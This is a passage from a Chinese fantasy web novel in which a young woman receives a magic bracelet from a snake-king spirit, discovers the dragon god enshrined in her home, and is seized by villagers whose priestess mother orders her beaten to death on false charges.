“小鸾镜不是扫把星,杏子也不是野种,这两个孩子不是没爹没妈,都是我老李的闺女,谁再胡说八道,别怪我翻脸不认人!” 打那以后,李大叔就常同人讲银杏是他亲闺女,我是他干闺女。 就连上小学那几年,都是李大叔一个人接我和银杏两个孩子回家。 要说李大叔当年为什么选择留在月阴村,大概一开始,是为了一个求不得的人,后来,是习惯了三千苗域最深处的寂静。 回家后,我像往常一样推开院门,扯了下院子里的电灯开关。 漆黑的小院一瞬明亮起来。 把院门从里头闩上,我习惯性地张口喊了声:“外婆我回来啦——” 喊完,我才骤然想起,外婆已经没了…… 一时间,强烈的失落感像只无形的大手,迅速包裹住我整颗心脏。 我僵住了手上动作,讷讷转身,院子里还遗留着外婆出殡时洒落的黄白纸钱。 灵魂深处,好像空了一块。 是啊,外婆都已经入土为安了。 以后,家里再也不会有人等我回来了。 我恹恹低头,进堂屋垂头丧气地坐了几分钟,随后又跑到后院,抱了一截香樟木。 把香樟木放在亮着灯的院子里,我从杂物房里翻出一把斧子,随后挥起斧子将香樟木一分为二。 叮叮咣咣的劈完木头,我特意挑了块劈得平整的木心,把板子放在长凳上,再用刨子把木板表面刨光滑。 外婆去得仓促,出殡前的牌位是老村长用自家陈年的柳树板凑合做的。 外婆下葬后,那牌位也跟着送外婆入土的花圈黄纸一道被投进火里烧了。 供在家里的牌位,还要另做。 我要亲手给外婆做尊牌位……或许,阳间有人念着外婆,外婆还会回来看看呢。 我专心致志地低头刨着香樟木木板,抬手擦汗,一阵微凉的阴风扫面而过,拂起我肩上垂落的一缕长发—— “在做什么呢?”清澈悦耳的男人嗓音在耳侧响起。 我顺嘴答了句:“做牌位。” 话说完,我才脊背一凉,猛地意识到和我说话的,不是人! 我惊恐扭头,只见熟悉的颀长身影此刻就站在我的右侧。 青衣银发,深眸灿若星辰。 眉心赤色流烟印记灼灼妖异。 朦胧月华淡淡笼罩在男人芝兰玉树的高大轮廓上,男人面无表情地垂目看我手里东西,意外道:“你还会做木工?该不会,也同你扎纸人的手艺一样……” 一样如何,他并没有说,可能是怕打击到我的自尊心。 但,他这副欲言又止的样子更伤我自尊好不好! “蛇、蛇王老爷!”我停下手上动作,一时紧张,想要站起身却被凳腿绊了下,直接重心不稳仰面朝后倒了下去—— “啊!” 完了! 要摔死了! 身子重重摔下那一秒,男人利落出手,一掌托住我的后背,再将我往前一推,成功把我推站起身,稳住了我的重心。 我站住脚跟,心有余悸地按住胸口,抬眼撞上他熠熠生辉的诡丽青眸,我陡地心跳漏了一拍,手忙脚乱的抬腿从长凳上迈过去。 “你、怎么又出来了?你不是在戒指里休养吗?”我警惕地怯怯看着他。 他瞟了眼我与他之间隔着的这条长凳,不悦蹙眉,一甩宽大古袍轻描淡写道:“本尊偶尔,也想出来透口气。” 我噎住,这话,没毛病。 被他的眼神盯得有点不自在,我吞了口口水,找个话题打破这尴尬的氛围:“你、晚上吃点什么?我给你做。” 他闻言,平静无澜的眸子里掀起一层涟漪,“本尊修行多年,早已辟谷,可不食一日三餐……你还没吃晚饭?” 我努力放平心态和他交流:“我、这不刚从娘娘庙回来么,还没来得及做晚饭,不过我不饿,本来打算做完外婆牌位的素坯就去睡觉来着。” 话刚说完,他就伸手递了个野果子给我。 “已经凌晨了,现在做晚饭太迟,先吃个果子垫垫。” 果子…… 我犹豫着伸手,把野果子拿过来。 他、这么有良心,还给我野果吃? 这果子不会有毒吧! 他见我接了野果,突然抬手,想朝我脸上摸。 我一惊,慌忙抱着果子后退两步,避开他的手。 他眼底失望一闪而过,沉声问道:“你就这么怕本尊?” 这不是废话吗,你是蛇我是人…… 更何况你还不是普通的蛇仙,你可是娘娘庙下镇压的那条大青蛇啊! 我头皮发麻地抱着野果睁眼说瞎话:“没、我从小就怕蛇,咳,本能反应!” “是么?” 男人轻轻一挥袖,隔在我们中间的那条长凳瞬间就消失无影了,迈近我两步,故意低头附在我耳边浅浅说:“夫人之前闯本尊洞府,开本尊石棺,脱本尊衣物的时候,怎不怕蛇?” 社死的回忆经他这么一提,突然开始攻击我! 我顿时红了脸,心跳如雷,欲哭无泪地想往后退。 但腰身却被他先出手揽了住。 突然的肢体接触,更让我整个人都吓成了鸵鸟! “我、我不是故意的……”我颤抖着企图解释。 他存心咄咄逼人,炙热吐息扫过我的耳鬓,莫名暧昧: “怎么,利用本尊解决了那条灰狐狸,就想过河拆桥,不要本尊?” “没、我没这个意思。”我抖得更厉害了,不敢与他四目相对,生怕自己一不留神就说错了什么话惹恼他。 “那阿鸾,你说,你要不要本尊?”他伸出骨节分明、修长如竹的好看玉手捏住我的下巴,抬起来,逼着我直视他的柔软目光。 语气温存,声声如蛊。 第16章 蛇王大人亲一下就开花 我呆呆僵着脖子,望着他幽若古井、点缀繁星的青眸,差点被他这双勾人的丹凤美目给摄去魂魄…… 男人眉眼如画,高挺的鼻梁,薄唇微张,滚烫的吐息扑在我脸颊上,扫得我心尖酥痒。 这还是我第一次在清醒状态下,如此近距离地欣赏他美貌。 比上回在梦里,更能见识到这张脸的权威。 剑眉星目,五官精致,棱角清晰,清隽中又带着几丝妖异的俊美。 板着脸时,浑身都散发着生人勿近的阴寒气息。 可温柔下来,却又像个能蛊人心魂的妖…… 建模脸,身材也不错。 那晚我翻进棺材扒他衣服时,好像还摸到他有腹肌…… 原来,我还是有运气好的时候啊…… “阿鸾。” “啊?” “本尊、好看么?” 我神使鬼差地点点头:“嗯。” “那你,要本尊么?”他吐息炙热的软语循循善诱。 要他…… 我猛地清醒,立马就要推他。 “你不愿?”男人好看的青眸倏然化成了凌厉的竖瞳。 我呛住,为了小命着想,欲哭无泪地连连道:“要要要,我要!” 他趁火打劫,勾人摄魂的深眸里划过一丝狡黠:“本尊是蛇,你也要?” 我激动地坚定点头:“要!” 我要的哪里是他啊,分明是我这条悲惨可怜孤苦伶仃的小命! 他老人家满意了,凤目微垂,墨笔勾勒般的密长睫毛微微颤动,唇角勾起,噙了一丝淡笑,这才肯稍稍松开我的腰身。 尔后,奖赏似的往我额头印下一个浅浅的吻。 我心猿意马地抬头,却看见他的眼里,柔情万千。 这位蛇王…… 怕是没谈过恋爱吧! 亲一下,就开花了? 我怔愣住,老实待在他怀里。 他目光深深地看了我一阵,揉了下我的脑袋,昂头又瞧了眼天上的圆月,眉心又拧,忽然说了句没头没尾的话:“还有两天。” 什么两天…… 不过,我趁他走神,悄悄从口袋里摸出一张符,贴在他的腰上。 竟然、没反应! 他的道行这么高深吗?连李大叔的灵符都对他毫不起作用。 他察觉到我的小动作,低头不解地盯着自己腰间那张辟邪符…… 我咕咚咽了口口水,头皮发麻: “咳,我就是想,拿你测一测这符管用吗。” 抱着我的某蛇王:“……” 后来,还是他老人家自个儿慢悠悠地把符扯下来,塞回我手里,配合地一挑墨眉: “此符对其他灵物有用,别浪费了。本尊说过,本尊不吃你,你与本尊结了姻缘,本尊自不会对你下杀手。” 修长玉指握住我的腕,蛇王他老人家凤目微眯,勾了勾唇角,俊美无俦的神颜上,眉心赤红印记灼灼妖异。 青眸泛着熠熠星光,神性中又藏着丝丝缕缕的邪魅。 倏然低头凑近我,清澈莲香扑鼻,男人的隽美容颜离我仅有咫尺之遥。 极美的眉眼看得我心尖一惊,全身血液急速升温,猛地绷直腰背,呼吸沉沉。 “你想报仇,尽管去做,本尊给你兜底。但,做为报答,你须得给本尊,当好本尊的妻子。” 说着,他拿起我的一只手,合上凤目,暧昧地低头往我指尖落下蜻蜓点水的一个吻。 手指触及他凉软薄唇的那一刻,我深吸一口气,全身汗毛都竖起来了! 当好他的妻子……该不会还要包括尽老婆的义务吧! 想到这一点,我绷紧下颌线咕咚咽口凉气。 硬着头皮疯狂洗脑自己:没关系没关系,他长得帅身材好,就算和他睡我也不吃亏……只要不要我小命,一切都好说! 他用余光扫过我难看的脸色,闷笑一声,随后伸手化出一样老物件,力度温柔地套在我腕上。 我好奇看过去,只见自己的右胳膊上多了条古银镂空缠花镯子。 镯子外层是银丝编织而成的密密缠枝莲,里层则是一圈血红玉髓。 那玉髓,像极了龙蛇充血的骨髓,即便被罩在古银盔壳下,逢光也依旧能绽出诡异的血红光泽。 “这是本尊送你的定情信物,同戒指一样,信物认主,以后它需靠你的精血供养,除了本尊,谁也取不下来它。” 靠我的精血供养…… 那岂不是要吸我的血! 我老脸一白,郑重其事地问他:“那我要是被它吸死了怎么办?” 蛇王眉头一挑:“吸死了算你倒霉。” 我:“……” 瘪嘴想哭:“那我不要了行吗?” 蛇王大人瞧着我这副没出息的模样,无奈刮了下我的鼻尖。 突如其来的宠溺动作惊得我一怔。 青衣银发的男人拂袖绕到我身后,一只手臂轻车熟路地揽住我紧张绷直的腰腹,故意低头凑到我耳边呵气,语调散漫:“放心,只是需要你的一点点精血与气息供养,你就算戴一辈子,也吸不死你。” 另一只手握住我戴镯子的这条胳膊,言语倏然冷肃:“这只镯子还可以做暗器,有危险的时候,可以用意念驱使它保护你。” “暗器?”我震惊屏住气息。 蛇王大人语气冷冷: “自己的仇,要自己报,本尊暂时不能帮你杀人,你得学会自己解决麻烦。 就算本尊时刻待在你身边,也总有百密一疏的时候,阿鸾,你要记住,永远不要把自己的性命压在别人手里,唯有自己强大,才有随心所欲的底气!” 言罢,他忽举起我的胳膊,一刹间,万千缕红丝自我腕上镯子的古银镂花里迸射出去,丝丝如箭雨,密密麻麻朝檐下的一盏白灯笼刺过去。 仅一眨眼的功夫,红线就穿透了白灯笼,红丝如利刃,割裂了竹篾灯骨。 等我再看清时,原本骨架结实的白灯笼已经哗然落地,成了一滩粉末! 这效果,比五马分尸还恐怖啊,竟然原地粉化…… 红丝解决了白灯笼后便宛若游蛇又瞬间缩回了我的镯子里。 我目瞪口呆看着眼前这一幕。 脑子里的第一反应是——这暗器太帅了! “这些红丝,可以根据你的意念控制力量强弱,你可以拿它自保,也可以拿它杀人。” 蛇王大人放开我的手,淡淡道:“阿鸾,你从不是委曲求全的性子,本尊给你遇神杀神,遇佛杀佛的底气!” 他给我遇神杀神与佛杀佛的底气…… 他竟然知道我不是那种打碎牙齿往肚子里咽的性格。 从小到大,他是第一个和我说这些话的人,也是除了外婆以外,第一个肯护着我的人。 “蛇王大人,我……”我心底酸涩地要向他道谢。 他眉眼柔和下来,平静纠正我:“本尊,叫青漓,以后你唤本尊的名字就好。” 我心跳加速地哽了哽,怯怯点头答应:“好,青、青漓……” 是了,之前那条野狐仙也称他,青漓蛇尊。 不过,这条被镇在娘娘庙下的大青蛇,真的是无恶不作的大妖吗…… 他教完我怎么使用腕上那只红镯子后,就一缕青烟回到了我的戒指里。 我赶在天亮前把外婆牌位的素坯打磨光滑了才进屋睡觉。 次日早晨八点,我像以往一样,起床先扫了遍院子,再去打理堂屋的桌椅茶具。 外婆过世了,她从前打坐修炼的那间内室里还供着神龛。 给神龛上香换贡果的任务从今天开始,就落在了我的身上。 我掀开藏蓝色的门帘,走进漆黑的内室,从口袋里掏出火折子,用力朝火折子吹了口气,明火瞬间照亮了整间小屋子。 引燃供桌上的两支红烛,我拿起三柱长香放在烛火上焚烧。 直到一缕青烟自香头袅袅飘出,我才恭敬执香,聚精会神地阖目,朝神龛内的神像轮廓虔诚弯腰,拜了三拜—— 外婆先前说过,以后这位神龛里的大人就交给我侍奉了。 她老人家肯定是晓得自己时日无多,害怕自己亡故后,神龛没人守护照看,上香供奉,这才在临走前把侍奉这位大人的重任交代给我…… 只是,至今我也不清楚这副神龛里供奉的究竟是谁,不晓得自己接手的这位正主到底是何方神圣。 只晓得,打我记事起,家里就供奉着这尊神灵。 我小时候曾因好奇追问过外婆,但外婆仅告诉我,家中堂屋后面内室里供奉着的,是位尊贵威武、庇佑苍生的神帝。 至于神帝的名号,外婆从没在我面前提过。 当初小小的我靠在门边,不明所以地瞪着一双黝黑大眼睛看外婆跪地认真向神龛三叩九拜—— 拜完,外婆起身,扭头看见我,便信步走到我的跟前,伸手摸摸我的脑袋。 “不用好奇他的身份,他现在,是我们家的守护神。等你长大,就能接替外婆,由你来侍奉大人了。 待你接替外婆,为大人上头一炷香那天,你便能揭开这层黑纱,看清神龛里的神明到底是谁了。” 内室里的神龛上常年罩着一层黑纱,以往从外看,只能隐约看清神龛里供奉着的是尊神位。 神位上,写着描金小楷。 可具体是什么字,根本看不清。 今天就是我为这位大人上头炷香的日子,所以,我可以揭开这层黑纱了? 我僵着身子笔直站在供桌正前方,直视不远处的半米高神龛。 神龛底座浮雕着飞龙与祥云,左右两侧各侍奉一名木雕童子。 童子手提帷灯,后方还有玉女举着雀扇,周边祥云环聚。 再往深处看,就看不清了。 不过,可能今天是我头一回能离神龛这么近,竟意外地隐约瞧见神位后……还有一尊神像的影子! 没想到,这尊神龛里面的空间这样大…… 我憋住呼吸,小心翼翼地抬手,心脏在胸膛内砰砰跳得厉害。 有些激动,又有些恐慌。 毕竟是我好奇了二十多年的秘密,今天终于能揭开他的神秘黑纱了…… 攥住搭在桌面的黑纱一角,我双手并用,动作谨慎地轻轻撩开神龛外的黑纱—— 桌边烛光晃动,神龛内的东西,渐渐地清晰印入我视线。 神龛正中摆放着一尊黑漆神位。 神位两边,是木雕侍奉童子与彩衣飘飘,手提香炉的侍女。 不染一尘的肃穆牌位上,一竖行描金赤底小楷清晰大气地端重写着: 九黎山镇山龙神辅元立极真灵东方华桑大帝之尊神位—— 第17章 外婆供奉的家神 东方华桑大帝这个名号我没有听过,但、镇山龙君我却十分熟悉! 九黎山的镇山龙君乃是整个苗域都信奉的镇山帝君。 亦是三千里苗域唯一的山神,掌管三千里苗域十方山脉的神帝。 原来外婆供奉的家神竟是他…… 我幼时,常听村里的老人家讲起这位神明。 九黎山是整个苗域最高最险,亦是最深的一片山脉。 镇山龙君的主神庙就位于九黎山的曜华峰上,在娘娘庙没有出现在九黎山上之前,苗域一带都是仅信奉这一位神明的。 只是后来娘娘庙一夜之间落建于九黎山,族人们发现拜娘娘庙更灵验,这才导致曜华峰上的镇山龙君庙日渐无人问津,香火稀少。 不过虽然族人们去镇山龙君庙上香的次数少了,可逢上年节,或是赶上什么邪门事,比如哪家有人被山里精怪野仙家缠上了,还是有族人会去龙君庙上香祈求龙君保佑,请龙君消灾解难。 而且,现在只是阴苗族信奉神娘娘的多,外面的阳苗族依旧更信奉镇山龙君。 镇山龙君庙在苗域一带比娘娘庙存在的早多了,严谨说,山上的神娘娘庙只是座不知真实身份的野神庙,可镇山龙君庙,却是正统神庙。 即便龙君庙现在香火不旺盛,镇山龙君在整个苗域的族人心中,也还是有着不可替代的沉重分量。 我彻底撩起神龛外的黑纱,将薄纱堆放在神龛顶端的祥云木雕上。 镇山龙君的牌位后,伫立着一尊八十公分高的木质神像,神像刷了黑漆,广袖神袍翩翩生动。 墨发过腰,龙冠高束,身形高大,长身玉立。 神像端正挺立于神龛内,一手附在身后,一手于身前持着笏板。 山神神像的脸上罩着一副龙首面具,可能是因为没人见过镇山龙君的真容,所以神像的脸才会被面目遮罩…… 这样雕,不至于有损龙君英勇形象。 我对这位龙君的记忆,还停留在十三岁那年听外婆讲他一夜擒十害的故事上。 现在他成了我家的家神,不知道给他老人家上香,他能不能保佑我外婆早登彼岸,保佑我逢凶化吉,顺利拆穿宋花枝的真面目。 确认了我家神龛里这尊神的身份后,我又把黑纱重新罩在了神龛上。 外婆说过,这位大人喜阴喜静。 临走前,我恭敬跪地,郑重朝神位咳了三个头。 请回家的神明与供养在庙里的神不一样,庙里的神所有人都可以拜,但家神是家主或家里先祖举行过仪式扔圣杯请来的。 供养家神的家族一般都和神明之间有交易在,比如神明如果同意跟人回家,那人就须得在家立神龛,以最虔诚之心供养神明,保神明香火不断。 必要时,还得充当神明在人间的使者,听从神明的吩咐为神明办事。 而作为恩赐,神明也会庇佑那人全家。 有的人是为了活命请家神,有的人则是为了求得神明庇护请家神。 不过神明与人之间也是双向选择,想请神明,还得看神明同不同意。 大多数人请神明,神明是不愿意做回应的。 一旦回应,那不管这家人是谁去请,不管他能活多少年,神明都会在这家待到他愿意离去时才会走。 所以,整个苗域,家里请到家神的,屈指可数。 有家神的,基本都是世代供奉。 据说阳苗族有个分支的圣女,家里那位家神连续供了十八代,至今那家神还没走。 这就是所谓的,请神容易送神难。 也不知道我家这位家神什么时候才会和我建立联系。 到时候说不准可以请他帮我驱走那条大青蛇王…… 从地上爬起来,我拍拍衣裳,去院子里继续给外婆的牌位刷油上漆。 我趴在长凳上,捧着定好型的木头牌位,仔细地用刷子将油漆抹匀。 幸好外婆的葬礼有村长和李大叔盯着,外婆才能埋在她生前选定的坟地里。 那里背靠青山,坟前有水,是片生机勃勃的荒草地。 每年春天,荒草地里都会开满五色蒲公英花。 外婆生前,最喜欢蒲公英。 我爸的坟也葬在那里,就在外婆的右后方。 外婆从前总是念叨我那个英年早逝的父亲,现在有我爸陪着她,她应该就不会孤独了。 刷到最后一遍油漆时,院门外突然传来了急促的拍门声! “开门!宋鸾镜,我们知道你回来了,快开门!” “宋鸾镜,你竟然敢私逃回家,还不快把门打开!” “再不开门,我们砸门了!” 我听见动静,深吸一口气。 该来的还是来了。 门外的村民们听我一时没回应,心急地直接捡起外面的石头子噼里啪啦砸进来。 院子里晾晒的药材都被他们砸翻了好几盘。 我忍无可忍地放下手里东西,大步迈到门后,抽开门闩猛地拉开院门。 谁知门才刚打开,就有一条麻袋从天而降,兜头将我罩了住! 大祭司今天找来的都是村里那些身强体壮的中年男人,我根本没机会挣扎反抗,身上就又被人隔着麻袋捆了条麻绳…… “放开我!”我执拗地反抗。 男人托着我的腰把我像扛稻谷一样扛了起来,用力在我小腿上拧了一把,恶狠狠威胁:“闭嘴!再乱叫,老子把你扔进池塘里,淹死你!” 我喘息急促的紧张憋住声音,顿时不敢再乱挣扎。 好汉不吃眼前亏,毕竟我清楚,惹怒了他们,他们真会把我扔进池塘里! 我早就清楚大祭司和宋花枝不会放过我,但我要想在月阴村过安生日子,就必须要经历这一遭。 中年男人们健步如飞地扛着我快步走了将近四十分钟路,才在进入一处充斥着神庙香火气息的屋子后,粗鲁地把我从肩上卸下来,无情地扔摔在地上。 还好我没有脑袋着地,只是胳膊肘与尾巴骨被摔得一阵钻心裂痛。 有人手快地把我身上麻绳松掉,扯去罩在我头顶的麻袋。 刺眼的明光晃得我视线模糊,我昂头缓了两秒,这才发现,自己此刻身处之地,是娘娘庙! 庙里香火氤氲,彩色神幡被阴寒过堂风吹得来回晃动,神娘娘手捻莲花,衣袂飘飘地脚踏凤凰,袖挽流云,宝相庄严伫立神堂。 神殿内站满了村里的男女老少,大祭司则手拄乌灵木权杖,面色阴沉地挺直脊背,立在娘娘庙神像下。 看见我,大祭司眯了眯寒光凛冽的美目,未见苍老的容颜上扫过一丝杀意,拄着权杖居高临下地质问我:“你是怎么逃出来的?!” 我咬牙忍着疼从地上爬起来,直视她的冷眸,故意道:“灰狐大仙说我不是他要的人,就把我放回来了。” “一派胡言!” 大祭司提起乌灵木权杖黑砖地面一敲,着急要把勾引仙家的罪名按在我头上: “灰狐大仙要的就是你,是你在娘娘庙行苟且之事,残杀同族,现在你有私逃回月阴村,你是想让灰狐仙害死我们全村么!” 大祭司话刚说完,就有中年妇人焦急催促: “大祭司你还和她多说什么废话,她逃出狐仙洞府势必会给咱们月阴村带来灭顶之灾!不如咱们再把她送回去,希望灰狐仙看在咱们诚心献出这个小贱种的份上,能放过咱们月阴村!” “就是!这个小贱人害死了我的儿子啊,我儿子才二十二岁!” “还说呢,我家儿子才十八!我和我家男人,膝下就这一个独苗……呜,大祭司,你可得为我们这些受害者做主啊。” “既然这个小贱种这么爱跑,那咱们不如先打断她的腿,再把她送上山!” “大祭司,族里祸害不除,咱们整个月阴村,都不得安生啊!” 男男女女七嘴八舌地愤怒控诉我的罪责,我听完却嗤笑出声,直视大祭司那双比腊月天的河水还冰冷的眼眸,不卑不亢地反问: “灰狐仙已经知道你往我和宋花枝身上下双生蛊的事了,他已经认出我不是宋花枝了,你还敢把我送回去吗?” 冷笑一声,我张了张嘴,嗓门眼里却如同堵了团棉花,迟迟才艰难喊她一句:“妈……” 紧攥的十指骨节生痛,指甲嵌进我的掌心,火燎般的疼痛仍盖不住我心底泛起的层层恶心。 喊这种人妈,脏了我的嘴。 可我,就是想膈应死她! 大不了杀敌一千自损八百! 大祭司听完我的话,淬了冰的瞳孔狠狠一震,瞪大乌黑的眼眸,紧绷的太阳穴突突直跳。 她果然还是怕了。 但没过多久,她紧抓在权杖上的手就缓缓松了力度。 不急不躁的冷漠下令:“押住她!” 话音刚落,两名中年女人就大步跨过来,反剪我的双臂,死死按住我的肩膀。 大祭司冷眸恢复平静,盯着我的眼神像浸了毒,一字一句,妄图淡漠决定我的命运: “宋鸾镜淫乱娘娘庙惹来祸端,今又私自逃回月阴村,冒犯神娘娘,今,本祭司决定,将宋鸾镜杖杀!” 第18章 本尊早提醒过你,他不可信 “杖杀?” “就是活活打死。” “这种淫荡的女人就该打死!” “打死都是轻的了,她害死我们这么多族人,就应该碎尸万段,凌迟处死!” “可在娘娘庙动杀戒,会不会不太好?” 我听着四面八方涌来的交头接耳议论声,咬牙平下不甘的心绪,挣扎着厉声质问宋淑贞: “你怎么不敢把我送回狐狸洞了?大祭司,你是在怕什么?怕惹毛了狐仙,他再次来找月阴村的麻烦,拆穿你的宝贝大女儿和野仙家苟且的事,你们母女俩干的那些缺德事就彻底瞒不住了是不是!” 原本还在叽喳吵闹的人群瞬间安静了下来。 素来沉稳持重的大祭司终于还是沉不住气地发疯给了我一巴掌,双目赤红地疾声吩咐: “死到临头还敢污蔑你姐姐,本祭司真后悔生了你这个孽种,给我堵住她的嘴!” 她突然劈过来的一巴掌将我打蒙了一瞬,但仅那两秒,我就极快地回过神来,赶在那些婆子拿汗巾塞我嘴之前一口气焦急喊道: “和灰狐仙苟且的人是宋花枝,宋花枝不但和灰狐仙在一起过,还每晚都来娘娘庙和其他野仙苟合,山里的黄仙蛇仙都被她睡过! 大祭司为了让我给她顶罪就给我下了双生蛊,试图让灰狐仙认错人,灰狐仙发现我不是宋花枝,这才把我放回来的……” 押着我的中年妇人要把汗巾往我嘴里塞,我拼命扭头反抗,争分夺秒道: “宋花枝和野仙苟合的事大祭司也知道,我有证人,昨晚村长家的赵二哥也看见宋花枝在娘娘庙招惹仙家了!还有,我外婆的死也与大祭司有关!” 宋淑贞见那两婆子按不住我,索性抢过汗巾亲自动手,钳住我的下颌,指腹用力,咔吧一声,我只觉得牙关扯着太阳穴猛一阵剧痛,下一秒,她就用力把汗巾塞进了我的嘴里,堵实了我的整个口腔! 我痛苦不堪的呼吸沉重,脸颊两边的剧痛疼得我眼前发黑,头颅欲裂。 她真的好狠心……竟生生卸掉了我的下巴。 我疼得两眼潮湿,不服气地瞪着眼眸,胸口起伏猛烈地拼命呜呜控诉她。 殿里围着的族人们大气不敢喘一声地纷纷将目光投向大祭司,一个个皆是欲言又止,想找大祭司要个答案。 大祭司一甩墨色纹青凤的袖袍,端重威严道: “你们别忘了,那些死去的族人拿出来的,是哪个孽种的贴身首饰与小衣物! 何况,枝儿是我阴苗族圣女,更是神娘娘转世,神娘娘转世,怎会做出这等污秽之事。 你们怀疑枝儿,就是在怀疑神娘娘,难道你们想惹神娘娘震怒,降下灾难吗!” “我等不敢!”村民们被吓得纷纷地跪地磕头向神娘娘赔罪:“神娘娘勿怪,勿怪!” 人群中有中年妇人附和: “就是,当初那些进过娘娘庙的男人拿出来的可都是宋鸾镜的贴身衣物,咦,还是件绣莲花的胸衣,如果不是宋鸾镜干出这等肮脏事,她的胸衣怎么会在别的男人手里!” “还有她的首饰,我哥们死前可是清楚地和我讲过……他说宋鸾镜的小腰,又细又软,在床上还时分灵活,扭腰摆胯好不勾人。还说,是宋鸾镜求着他,一夜八次呢!” 一夜八次?! 男人的话像一记重锤砸在我心上,我瞪大泪湿的双眼,既委屈,又觉得好笑。 大爷的,一夜八次他也不怕死在床上! 大祭司这一招,真是够高明。 想毁掉一个女孩,先用污言秽语毁了她的名声…… 她要用世俗的偏见逼我老实就范,我偏不! 别说我是干干净净一个清白姑娘了,就算真倒霉被谁睡了,毁了名声我也不会自暴自弃。 名声是这个世上,最不值钱的东西! 而我现在执着于洗清冤屈,是因为我不乐意做任何人的替死鬼。 我的命是外婆救的,外婆没了,那这世上谁也别想要我命! 族人们因那年轻男子的一句话再度义愤填膺地炸开了锅,有骂我不要脸造孽的,有催促大祭司赶紧打死我给阴苗族清理门户的,还有建议把我祭天,一把火烧死,挫骨扬灰的…… 可我却忽然扫见,娘娘神像右侧的落地神幡后,晃过一片鹅黄色衣角。 很好,她自己主动送上门了,也省得我等会儿还要费功夫去找! 在众人的一致请求下,英明公正的大祭司顺应民心,威严发话:“长老会的人何在!按住宋鸾镜,杖杀!” 早就候在门口的打手们拿着扁杖涌进神殿,押着我的两个婆子也一脚把我踹跪在地,按着我的肩,要把我的脸往地上撞…… 我强忍着下颌的裂痛,闭紧双眼,额角青筋紧绷,疼得汗如雨下。 执拗地反抗着把我往地上按的两个老太婆……暗暗用意念操控腕上的镯子…… 然,就在红丝要从镯内飞射出来那一刹,门口忽有人急着喊了声:“村长来了!” 紧接着,按住我双肩的两个婆子被人推开,我也被一双苍老的手从地上扶跪起来…… “孩子!”老村长声音在我头顶响起的同时,我腕上刚飞射出去的两缕红丝又重新缩回了镯子内。 昂头看见村长那张苍老慈祥的脸,迎上他心疼担忧的目光,我终究还是憋不住的委屈撞进他怀里,呜咽哭出声。 老村长于心不忍地红了眼眶,拍拍我的肩膀,护住我,抬头质问大祭司: “大祭司,你这是要做什么啊!孩子纵有千般错,那也是你身上掉下来的一块肉啊!你怎么舍得,把她往死里整呢!” 宋淑贞提着权杖冷漠转过身,不屑看我半眼,绝情道:“本祭司没有这么不要脸的女儿,留着她只会给月阴村带来灾难!” 放屁,你就是想让我死,想让宋花枝夺走我身上的圣女气运! “你!”村长语塞,无奈摇摇头。 我靠在村长怀里抹了抹眼泪,抬眼看见赵二哥也尾随村长一起来了,立马跪坐起身,急着朝赵二哥呜呜求救。 好在族里还是有脑子正常的人,看我这反应,连忙帮我问赵二哥:“赵二,宋鸾镜说,你昨晚也看见圣女在娘娘庙了?” 大祭司挺立的背影一僵。 众人的目光又唰的一下,全投在了赵二哥身上。 我心跳加速地昂着头,泪眼盈盈地悲伤凝望他。 其实这一刻,我是希望他能帮我证明的。 当然,他不帮……也是情理之中。 老村长闻言,当即像抓住了一缕希望,沉声追问赵二哥:“昨晚,你是大半夜才回来的,你去哪了?还有,你看见圣女在娘娘庙了?都看见什么了,如实说来!” 赵二哥眸中一颤,下意识后退两步,表情极不自然地别过头,支支吾吾:“我、我……” 娘娘神殿里的村民们没耐心地催促:“你到底怎么了?说啊!” “你真看见圣女在娘娘庙了?” “昨晚,你在娘娘庙看见什么了?” “说啊!别磨磨叽叽的了!” 赵二喉结滚了下,被村民们逼得满面通红,眼神心虚地到处瞟,犹豫着说:“昨晚,我……的确去了娘娘庙。” 老村长加重语气:“你在娘娘庙看见什么了?如实说啊!” “你难道真看见圣女了?” “赵二,你把你看见的,都一五一十说出来,害死我们村这么多族人的,究竟是宋家的哪个女儿!” 赵二被逼问的脸色发青,怯懦的指尖发颤,心虚瞟了眼跪在地上的我,咬牙绷住下颌…… 半晌,才哑着嗓子没有底气的开口:“我,没有见过圣女。” 此话一出,整个神殿都陷入了寂静。 我心头一震,自嘲地呜咽了声。 赌输了。 老村长为难地哽了哽,本能地抬手将我护在身后,警惕反问:“你真没有见过圣女?那你去娘娘庙干什么!” 赵二面红耳赤地低声撒谎: “昨晚,我本来是相信鸾妹的,我和鸾妹好歹是青梅竹马一起长大,现在鸾妹说她有冤,我就、想进娘娘庙转一圈,看看能不能找到些、能证明鸾妹清白的证据。” 这个理由,听着还真是正当合理。 我黯下眸色,尽管早就猜到了会有这个可能,但,被相识多年的旧友背叛,心里还是沉甸甸的…… 一缕阴风扫过耳廊,男人冷肃鄙夷的好听声音忽在我耳旁回荡开:“本尊早便提醒过你,他不可信。” 我心累闭眼,这位蛇王大人真喜欢凑热闹,听见我吃瘪,还特意跑出来看我笑话。 大祭司早有预料的拄着权杖转身,急迫发话: “既然,赵家老二已经说出了真相,宋鸾镜,你还有什么可狡辩的!来人,立刻将这个祸害杖杀,祭告神明!” 长老会的打手们听令立马精神抖擞地又要对我下手,不过,这次却被匆匆闯进神殿拨开人群的银杏大吼着阻拦了下来—— “住手!赵二在撒谎,我有证据证明昨晚宋花枝去了娘娘庙和山里的野仙苟合!” 打手们举起木杖的动作一僵。 银杏闯进来,挡在我的身前,手忙脚乱地从口袋里掏出手机: “我就知道赵二你是棵墙头草,昨晚我特意留了个心眼拍了录像!我手机里有黄皮子仙从娘娘庙里出来的那一幕,还录下了大祭司和宋花枝说的那些话! 老祭司根本不是寿终正寝,而是因为大祭司给镜镜下了绝命蛊。 老祭司为了给镜镜续命,才破了鬼师禁忌,画了第三千零一张鬼符,害自己遭受反噬,殒命而亡!” 第19章 娘娘庙里的不是圣女,是宋鸾镜! “绝命蛊?”村民中有人质疑:“这绝命蛊,的确只有大祭司才能炼制出来。” “老祭司在七月十四那天,不是已经画完了最后一张鬼符了么?” “是啊,那张鬼符,就贴在姜家老二的脚底板……” “所以,老祭司是因为破禁多给宋鸾镜画了张鬼符,才不幸寿终的?” “大祭司为什么要给宋鸾镜下绝命蛊,这绝命蛊可是咱们阴苗族最狠毒的灵蛊,一旦中蛊,下蛊者想让她什么时候死,她就得什么时候死……” 赵二脸庞充血的心虚往后退步…… 可就在银杏点开视频的播放键时,那视频封面突然跳转到了一段漆黑的空白内容视频文件上! 视频里的场景与录音,都莫名消失不见了! 银杏俏脸一白,不敢相信地又猛戳了几下手机屏幕,奈何没几秒,手机屏幕上就弹出了视频文件已损坏的提醒…… 